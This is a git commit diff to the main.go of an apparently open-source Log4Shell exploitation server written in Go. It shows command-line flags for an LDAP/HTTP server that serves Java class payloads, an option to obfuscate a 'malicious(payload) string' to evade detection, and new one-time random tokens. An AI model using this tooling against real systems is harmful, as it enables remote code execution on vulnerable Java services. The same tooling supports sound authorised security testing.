main.go: add token when use obfuscate, rename global variable.

Author: For-ACGN

cmd/main.go

@@ -5,34 +5,37 @@ import (
 	"flag"
 	"fmt"
 	"log"
+	"math/rand"
 	"os"
 	"os/signal"
 
 	"github.com/For-ACGN/Log4Shell"
 )
 
 var (
-	cfg log4shell.Config
-	crt string
-	key string
-	obf string
+	config   log4shell.Config
+	certFile string
+	keyFile  string
+	rawStr   string
+	noToken  bool
 )
 
 func init() {
 	banner()
 
 	flag.CommandLine.SetOutput(os.Stdout)
-	flag.StringVar(&cfg.Hostname, "host", "127.0.0.1", "server IP address or domain name")
-	flag.StringVar(&cfg.PayloadDir, "payload", "payload", "payload(java class) directory")
-	flag.StringVar(&cfg.HTTPNetwork, "http-net", "tcp", "http server network")
-	flag.StringVar(&cfg.HTTPAddress, "http-addr", ":8080", "http server address")
-	flag.StringVar(&cfg.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
-	flag.StringVar(&cfg.LDAPAddress, "ldap-addr", ":3890", "ldap server address")
-	flag.BoolVar(&cfg.AutoCert, "auto-cert", false, "use ACME client to sign certificate")
-	flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
-	flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
-	flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
-	flag.StringVar(&obf, "obf", "", "obfuscate malicious(payload) string")
+	flag.StringVar(&config.Hostname, "host", "127.0.0.1", "server IP address or domain name")
+	flag.StringVar(&config.PayloadDir, "payload", "payload", "payload(java class) directory")
+	flag.StringVar(&config.HTTPNetwork, "http-net", "tcp", "http server network")
+	flag.StringVar(&config.HTTPAddress, "http-addr", ":8080", "http server address")
+	flag.StringVar(&config.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
+	flag.StringVar(&config.LDAPAddress, "ldap-addr", ":3890", "ldap server address")
+	flag.BoolVar(&config.AutoCert, "auto-cert", false, "use ACME client to sign certificate automatically")
+	flag.BoolVar(&config.EnableTLS, "tls-server", false, "enable ldaps and https server")
+	flag.StringVar(&certFile, "tls-cert", "cert.pem", "tls certificate file path")
+	flag.StringVar(&keyFile, "tls-key", "key.pem", "tls private key file path")
+	flag.StringVar(&rawStr, "obf", "", "obfuscate malicious(payload) string")
+	flag.BoolVar(&noToken, "no-token", false, "not add random token when use obfuscate")
 	flag.Parse()
 }
 
@@ -52,21 +55,33 @@ func banner() {
 
 func main() {
 	// output obfuscated string
-	if obf != "" {
-		fmt.Printf("raw: %s\n\n%s\n", obf, log4shell.Obfuscate(obf))
+	if rawStr != "" {
+		if noToken {
+			fmt.Printf("raw: %s\n\n%s\n", rawStr, log4shell.Obfuscate(rawStr))
+			return
+		}
+
+		front := rawStr[:len(rawStr)-1]
+		token := generateToken()
+		last := string(rawStr[len(rawStr)-1])
+		rawStr = fmt.Sprintf("%s_%s%s", front, token, last)
+		fmt.Printf("raw: %s\n\n%s\n\n", rawStr, log4shell.Obfuscate(rawStr))
+
+		const notice = "[info] each string can only be used once, or wait %d seconds.\n"
+		fmt.Printf(notice, log4shell.TokenExpireTime)
 		return
 	}
 
 	// load tls certificate
-	if cfg.EnableTLS {
-		cert, err := tls.LoadX509KeyPair(crt, key)
+	if config.EnableTLS {
+		cert, err := tls.LoadX509KeyPair(certFile, keyFile)
 		checkError(err)
-		cfg.TLSCert = cert
+		config.TLSCert = cert
 	}
-	cfg.Logger = os.Stdout
+	config.Logger = os.Stdout
 
 	// start log4shell server
-	server, err := log4shell.New(&cfg)
+	server, err := log4shell.New(&config)
 	checkError(err)
 	err = server.Start()
 	checkError(err)
@@ -80,6 +95,25 @@ func main() {
 	checkError(err)
 }
 
+func generateToken() string {
+	const n = 16
+
+	str := make([]rune, n)
+	for i := 0; i < n; i++ {
+		s := ' ' + 1 + rand.Intn(90) // #nosec
+		switch {
+		case s >= '0' && s <= '9':
+		case s >= 'A' && s <= 'Z':
+		case s >= 'a' && s <= 'z':
+		default:
+			i--
+			continue
+		}
+		str[i] = rune(s)
+	}
+	return string(str)
+}
+
 func checkError(err error) {
 	if err != nil {
 		log.Fatalln("[error]", err)